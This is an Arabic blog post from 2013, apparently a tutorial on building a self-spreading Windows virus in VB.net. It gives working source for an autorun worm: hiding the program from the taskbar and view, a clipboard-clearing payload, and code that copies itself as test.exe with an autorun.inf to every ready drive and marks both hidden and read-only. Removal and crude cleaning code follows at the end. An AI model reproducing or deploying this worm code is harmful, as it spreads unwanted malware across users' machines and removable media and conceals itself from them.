الأحد، 17 مارس 2013

صناعة الفايروسات (بناء الفايروسات بلغة VB.net )



لصناعة أي فايروس يتطلب الأتي :

1.     كل فايروس لابد من  وسيلة  لتشغيله اما مع بدء تشغيل الحاسوب او عبر ملف اوتوران لكي  يبدء بعمله
2.     كيف نجعل هذا الفايروس يتكاثر من خلال استنساخ نفسه الى اقراص مرنة او صلبة
3.     يجب ان لا يظهر اسم الفايروس بشريط المهام حتى لا يحس المستهدف بالفايروس بانه مصاب به  (من خلال جعل خاصية=False  show in taskbar الخاصة بالنافذة ويجب اخفائه من Task Manager
4.    يجب ان نجعل الفايروس لا تظهر نافذته من خلال اخفائه (Formborderstyle=none)
وكتابه الكود التالي بحدث تحميل النافذة هذا الكود يحول لون Form الى ابيض وبعدها يقوم باخفاء أي لون ابيض في النافذة فتختفي Form كليا  . او جعل خاصية عدم شفافية تساوي صفر(Me.Opacity = 0  ) أي نجعل النافذة شفافة جدا لدرجة لا تشاهد

Me.BackColor = Color.White
 Me.TransparencyKey = Color.White 'or Me.Opacity = 0 

5.     الفكرة الاهم هي ماذا نريد من فايروسنا ان يعمل من خلاله نحدد هدف الفايروس بالاصابة.مثلا نريد فايروس يمنع عملية الاستنساخ داخل الحاسبة لابد ان نضيف Timer ونضع فيه كود افراغ  Clipboard باستمرار حتى كلما نقوم بعملية استنساخ سوف يخزن البيانات داخل Clipboard وبواسطة برنامجنا نقوم بافراغها باستمرار
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        My.Computer.Clipboard.Clear()
    End Sub


 كيف نجعل  الفايروس Virus  ينتشر
نحن نعلم عند تشغيل اقراص CD لمجموعة برامج داخل الحاسوب سوف نلاحظ ان القرص يعمل تلقائيا وتظهر فورم مثلا مصممة من قبل شركة الاقراص تظهر فيها البرامج .
السؤال هنا كيف عمل برنامج تلقائيا من داخل القرص بمجرد ادخاله بالسواقة
ج/هو السبب وجود ملف  اوتوران autorun.inf ذو امتداد .inf  موجود في داخله كود لتشغيل البرنامج فبمجرد ادخال القرص داخل السواقة سوف يقوم  نظام التشغيل OS  بتشغيل كل ملف اوتوران داخل القرص وملف اوتوران بدوره يشغل البرنامج     وكذالك ملفات اوتوران في فلاشات USB تعمل تلقائيا بمجرد ادخال فلاش.
اي ان ملف اوتوران اذا كان موجود في فلاش او قرص من اقراص الحاسبة HD سوف يعمل بمجرد فتح فلاش او قرص HD من اقراص الحاسبة اذا كان موجود بها
 لذالك سنجعل فايروس ينتشر عن طريقة وضع نسخ منه على كل قرص مرن وصلب بالحاسبة وبجوار الفايروس ملف اوتوران أي عند فتح كل قرص مرن او صلب من اقراص الحاسبة  سوف يعمل ملف اوتوران  ويشغل البرنامج (Virus)    والبرنامج(Virus)     بدوره يستنسخ نفسه في كل قرص صلب وفلاش متصل بالحاسبة ويصنع ملف اوتوران بجوار كل ملف حتى يشغل (Virus)    عند تصفح أي قرص حتى لا يكون الفايروس خامل
فعندما ينتقل الفايروس الى الفلاش فعند ربطه بحاسبة ثانية في اول لحظة سيعمل ملف اوتوران ويشغل بدوره الفايروس الذي يستنسخ نفسه الى جميع اقراص الحاسبة الجديدة
 

الكود الموجود في داخل هذا الملف هو تشغيل برنامج اسمه test موجود بجوار ملف.؟

 في برامج فايروس  عندما نصنع فايروس يجب ان نفكر بسرعة انتشاره بواسطة ملف اوتوران
من خلال تحديد هدفه مثلا لو صنعنا فايروس يغلق الحاسوب باستمرار وجعلنا ينتشر بملف اوتوران نلاحظ بطئ انتشاره لان أي حاسبة تصاب لا ينتقل منها الى حاسبة اخرى لانها لا تعمل مجدد الا بعد اعادة تنصيبها من جديد ومسح فايروس  في هذه الحالة الفايروس ينتشر فقط من فلاش مصاب به الى الحاسبة التي سنربطها به
اما في حالة صنع فايروس منع عملية نسخ ينتشر بملف اوتوران نلاحظ سرعة انتشاره لان الحاسبة التي تصاب لا تتوقف عن العمل من الممكن ان نربط بها فلاش وينتقل الفايروس به الى حاسبة اخرى



خطوات جعل فايروس ينتشر
1.    نجلب جميع الأقراص الصلبة والمرنة الموجودة داخل الحاسبة ونحدد ايهم متوفر حتى نستطيع ان ننسخ الفايروس على كل قرص وبما اننا نتعامل مع الملفات ندرج مكتبة Imports System.IO
VB.net Code
Imports System.IO

On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then


هنا ننفذ الكود الذي نريده


End If
Next


2.    اذا كان هناك ملف اوتوران يستخدمه فايروس اخر او نفس هذا الفايروس نحذفه لكننا لانستطيع حذفة مباشرة لانه قد يكون محمي من الحذف نلغي الحماية عنه باعادة SetAttributes  الى FileAttributes.Normal   ثم نقوم بحذف الفايروس هو والملف المشغل له
VB.net Code
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If

3.    نكون ملف اوتوران الخاص بالفايروس في كل قرص ونكتب به كود تشغيل الفايروس الذي سميناه test نلاحظ اننا عندما انشئنا ملف اوتوران جعلنا امتداده .inf  
VB.net Code
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()

4.    ننسخ الفايروس الى  القرص ونجعل الفايروس وملف اوتوران مخفيات وغير قابلات للحذف
VB.net Code
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)



برنامج  انتشار  الفايروس كامل



VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.Delete(drive(i).Name & "autorun.inf")
File.Delete(drive(i).Name & "test.exe")
End If
' File.CreateText(drive(i).Name & "test.exe")
'نكون ملف اوتو ران مرفق للفايروس
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)
End If

Next

End Sub
End Class

بقي فقط نضيف للكود هدف هذا الفايروس او العملية التي نريده ان ينفذها ونربط فلاش بالحاسوب ونشغله سينتقل تلقائيا الى الفلاش ومنه الى بقية الحواسيب وعند كل عملية تشغيل لفلاش مصاب او فتح Drive قرص HD في حاسبة مصابة سينفذ عمله وينتشر


القضاء على الفايروس بنفس طريقة بنائه فقط نحذفه من كل مكان قمنا باضافته به ونستطيع ان نحذف فقط ملف الاوتوران فيصبح الفايروس مشلول لا يعمل ابد  او نحذف فايروس ونبقى الاوتوران مشلول

VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
‘نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If
End If
Next
End Sub
End Class



معلومة: لحذف كل فايروس اوتوران في الحاسبة نقرء محتوى ملفات الاتوران الموجودة في واجهة الاقراص الصلبة والمرنة و عندما نصل الى سطر shellexecute ناخذ اسم البرنامج بعد علامة (=) ونحذف البرنامج المسمى بهذا الاسم ؟لكن هذه الطريقة ستحذف حتى ملفات تشغيل لبعض البرامج الخاص كمشغلات لبعض البرامج المهمة
القضاء على فايروس الاوتوران عن  طريق قرائة كل ملف اوتوران في مناطق التشغيل التلقائي
  من اقراص صلبة وفلاشات ومسح الفايروس الذي يشغله هذا الملف (وهذا الطريقة ذات مساوئ ابحث عن السبب) وهذه طريقة تبين لك كيف يعمل انتي فايروس

VB.net Code
Imports System.IO
Public Class Form1

Dim lineread As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
Dim objWriter As New StreamReader(drive(i).Name & "autorun.inf")
While objWriter.EndOfStream = False
lineread = objWriter.ReadLine()
If String.Equals(Mid(lineread, 1, 12), "Shellexecute") Then
Dim virusname() As String = Split(lineread, "=")
MsgBox("virusname=" & virusname(1))
If File.Exists(drive(i).Name & Trim(virusname(1))) = True Then
'نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & Trim(virusname(1)), FileAttributes.Normal)
File.Delete(drive(i).Name & Trim(virusname(1)))
End If
End If
End While
objWriter.Close()
End If
End If
Next
End Sub
End Class



ليست هناك تعليقات: